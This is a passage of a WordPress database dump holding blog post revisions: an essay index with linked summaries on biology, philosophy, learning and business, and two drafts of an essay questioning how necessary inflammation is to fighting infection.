href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-03-09 16:38:43','2021-03-09 16:38:43','',22,'https://trevorklee.com/2021/03/09/22-revision-v1/',0,'revision','',0),
(45,1,'2021-03-09 16:39:00','2021-03-09 16:39:00','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-03-09 16:39:00','2021-03-09 16:39:00','',22,'https://trevorklee.com/2021/03/09/22-revision-v1/',0,'revision','',0),
(46,1,'2021-03-10 04:43:59','2021-03-10 04:43:59','<!-- wp:paragraph -->\n<p>As I’ve pursued my independent research into biotech, one of my enduring mysteries has been what exactly the role of inflammation is in the immune system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I know the orthodox answer. The orthodox answer is that the immune system recognizes and fights pathogens. Inflammation is part of the immune system and helps it function, like in a localized infection or a fever. Sometimes the immune system goes awry and causes inflammation where it shouldn’t, like in asthma or rheumatoid arthritis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the answer I believed for a long time. But, if this were true, inflammation should be a helpful part of the immune system. Blocking inflammation should be really dangerous, leading inevitably to infection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t the case, though. We block inflammation all the time with ibuprofen and acetaminophen, like when we give these drugs to children for their fevers. Overall, these drugs both reduce fever and are, generally, <a href=\"https://jamanetwork.com/journals/jamapediatrics/fullarticle/485730\">as safe as placebo</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, you might think, “Oh, well that’s just because fever is an excess of inflammation. Surely some inflammation is necessary”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, let’s take a look at a more serious anti-inflammatory drug, adalimumab, which you might know as Humira. Adalimumab is a monoclonal antibody, which are compounds designed to bind to certain receptors on cells. In autoimmune diseases, they’re used to bind to certain types of immune cells to stop them from working or even to destroy them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab targets tumor necrosis factor alpha (TNFα). TNFα is an incredibly important part of the inflammation process, implicated throughout the body in all sorts of inflammatory processes. Arthritis, diabetes, skin infections, obesity, asthma, sepsis: basically, if there’s inflammation, it’s a safe bet TNFα is involved.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab is a very efficient blocker of TNFα. <a href=\"https://stm.sciencemag.org/content/11/477/eaat3356.full\">Almost all TNF-alpha in treated patients is blocked by adalimumab</a>. As a result, TNFα is also a very efficient blocker of inflammation. For example, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/\">up to 36% of Crohn\'s Disease patients go into remission with adalimumab</a>, compared to 12% on placebo. 50% of patients see a significant decrease in their Crohn\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, despite the fact that these patients have their body’s ability to create inflammation significantly decreased, they are generally ok. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/#bibr3-1756283X08092548\">0.9% of treated patients develop cancer over the course of 3-12 months, compared to 0.2% of those on placebo</a>. About 45% of adalimumab-treated patients with Crohn\'s disease do develop infections over the course of year, which sounds high, except that <a href=\"https://www.gastrojournal.org/article/S0016-5085(06)02522-4/fulltext?referrer=https%3A%2F%2Fpubmed.ncbi.nlm.nih.gov%2F\">37% of placebo-treated patients also do</a> (note that placebo-treated patients are likely on other immunosuppressive drugs as well).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This also fits in with other data. When we look at COVID-19, which has been studied a lot among patients on immunosuppressants like adalimumab, we find that <a href=\"https://pubmed.ncbi.nlm.nih.gov/32425234/\">adalimumab is not associated with severe COVID-19 among patients with inflammatory bowel disease</a>. Similarly, <a href=\"https://pubmed.ncbi.nlm.nih.gov/32970921/\">ibuprofen is also not associated with severe COVID-19</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, promoting inflammation is not helpful for infections. We know this because we have a big group of people in the United States who are constantly in a low level of inflammation: obese people. Fat cells produce inflammation, which is why obesity is associated with both <a href=\"https://pubmed.ncbi.nlm.nih.gov/30547890/\">systemic inflammation</a> and a range of inflammatory-related disorders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might naively think that this means their body’s on high alert all the time, always ready to fight off any infection. But this isn’t the case. Obese people are more likely to <a href=\"https://medicalxpress.com/news/2021-02-obesity-infection-link-treatment-healthy.html\">get skin infections</a>, <a href=\"https://www.cdc.gov/mmwr/volumes/70/wr/mm7010e4.htm#F2_down\">severe COVID</a>, and <a href=\"https://academic.oup.com/jid/article/218/9/1378/5051913\">shed influenza A (but not B) for longer than nonobese people</a>. All that inflammation is somehow worse for their ability to fight off these infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, you might just be ready to throw inflammation out. But I wouldn’t recommend that. In the same study that studied adalimumab in COVID-19, they found that corticosteroids, which are also anti-inflammatory, are associated with a 7 times greater risk of severe COVID 19 in those patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, corticosteroids are not the same thing as ibuprofen or adalimumab. Corticosteroids are naturally occurring compounds in the body with a huge range of effects. They generally upregulate anti-inflammatory proteins and down regulate proinflammatory proteins, but they also have effects on <a href=\"https://en.wikipedia.org/wiki/Glucocorticoid#Effects\">metabolism, cognition, and arousal</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, I’m left in confusion. Exactly how necessary is inflammation? If it’s not that necessary, then evolution has somehow left us with a useless, metabolically expensive system that frequently breaks down and makes us sick. If it is necessary, then it’s surprising that inhibiting it in such drastic ways is generally an ok thing to do.</p>\n<!-- /wp:paragraph -->','What is the role of inflammation in the immune system?','','inherit','closed','closed','','40-autosave-v1','','','2021-03-10 04:43:59','2021-03-10 04:43:59','',40,'https://trevorklee.com/?p=46',0,'revision','',0),
(47,1,'2021-03-10 04:44:03','2021-03-10 04:44:03','<!-- wp:paragraph -->\n<p>As I’ve pursued my independent research into biotech, one of my enduring mysteries has been what exactly the role of inflammation is in the immune system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I know the orthodox answer. The orthodox answer is that the immune system recognizes and fights pathogens. Inflammation is part of the immune system and helps it function, like in a localized infection or a fever. Sometimes the immune system goes awry and causes inflammation where it shouldn’t, like in asthma or rheumatoid arthritis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the answer I believed for a long time. But, if this were true, inflammation should be a helpful part of the immune system. Blocking inflammation should be really dangerous, leading inevitably to infection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t the case, though. We block inflammation all the time with ibuprofen and acetaminophen, like when we give these drugs to children for their fevers. Overall, these drugs both reduce fever and are, generally, <a href=\"https://jamanetwork.com/journals/jamapediatrics/fullarticle/485730\">as safe as placebo</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, you might think, “Oh, well that’s just because fever is an excess of inflammation. Surely some inflammation is necessary”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, let’s take a look at a more serious anti-inflammatory drug, adalimumab, which you might know as Humira. Adalimumab is a monoclonal antibody, which are compounds designed to bind to certain receptors on cells. In autoimmune diseases, they’re used to bind to certain types of immune cells to stop them from working or even to destroy them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab targets tumor necrosis factor alpha (TNFα). TNFα is an incredibly important part of the inflammation process, implicated throughout the body in all sorts of inflammatory processes. Arthritis, diabetes, skin infections, obesity, asthma, sepsis: basically, if there’s inflammation, it’s a safe bet TNFα is involved.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab is a very efficient blocker of TNFα. <a href=\"https://stm.sciencemag.org/content/11/477/eaat3356.full\">Almost all TNF-alpha in treated patients is blocked by adalimumab</a>. As a result, TNFα is also a very efficient blocker of inflammation. For example, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/\">up to 36% of Crohn\'s Disease patients go into remission with adalimumab</a>, compared to 12% on placebo. 50% of patients see a significant decrease in their Crohn\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, despite the fact that these patients have their body’s ability to create inflammation significantly decreased, they are generally ok. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/#bibr3-1756283X08092548\">0.9% of treated patients develop cancer over the course of 3-12 months, compared to 0.2% of those on placebo</a>. About 45% of adalimumab-treated patients with Crohn\'s disease do develop infections over the course of year, which sounds high, except that <a href=\"https://www.gastrojournal.org/article/S0016-5085(06)02522-4/fulltext?referrer=https%3A%2F%2Fpubmed.ncbi.nlm.nih.gov%2F\">37% of placebo-treated patients also do</a> (note that placebo-treated patients are likely on other immunosuppressive drugs as well).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This also fits in with other data. When we look at COVID-19, which has been studied a lot among patients on immunosuppressants like adalimumab, we find that <a href=\"https://pubmed.ncbi.nlm.nih.gov/32425234/\">adalimumab is not associated with severe COVID-19 among patients with inflammatory bowel disease</a>. Similarly, <a href=\"https://pubmed.ncbi.nlm.nih.gov/32970921/\">ibuprofen is also not associated with severe COVID-19</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, promoting inflammation is not helpful for infections. We know this because we have a big group of people in the United States who are constantly in a low level of inflammation: obese people. Fat cells produce inflammation, which is why obesity is associated with both <a href=\"https://pubmed.ncbi.nlm.nih.gov/30547890/\">systemic inflammation</a> and a range of inflammatory-related disorders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might naively think that this means their body’s on high alert all the time, always ready to fight off any infection. But this isn’t the case. Obese people are more likely to <a href=\"https://medicalxpress.com/news/2021-02-obesity-infection-link-treatment-healthy.html\">get skin infections</a>, <a href=\"https://www.cdc.gov/mmwr/volumes/70/wr/mm7010e4.htm#F2_down\">severe COVID</a>, and <a href=\"https://academic.oup.com/jid/article/218/9/1378/5051913\">shed influenza A (but not B) for longer than nonobese people</a>. All that inflammation is somehow worse for their ability to fight off these infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, you might just be ready to throw inflammation out. But I wouldn’t recommend that. In the same study that studied adalimumab in COVID-19, they found that corticosteroids, which are also anti-inflammatory, are associated with a 7 times greater risk of severe COVID 19 in those patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, corticosteroids are not the same thing as ibuprofen or adalimumab. Corticosteroids are naturally occurring compounds in the body with a huge range of effects. They generally upregulate anti-inflammatory proteins and down regulate proinflammatory proteins, but they also have effects on <a href=\"https://en.wikipedia.org/wiki/Glucocorticoid#Effects\">metabolism, cognition, and arousal</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, I’m left in confusion. Exactly how necessary is inflammation? If it’s not that necessary, then evolution has somehow left us with a useless, metabolically expensive system that frequently breaks down and makes us sick. If it is necessary, then it’s surprising that inhibiting it in such drastic ways is generally an ok thing to do.</p>\n<!-- /wp:paragraph -->','What is the role of inflammation in the immune system?','','inherit','closed','closed','','40-revision-v1','','','2021-03-10 04:44:03','2021-03-10 04:44:03','',40,'https://trevorklee.com/?p=47',0,'revision','',0),
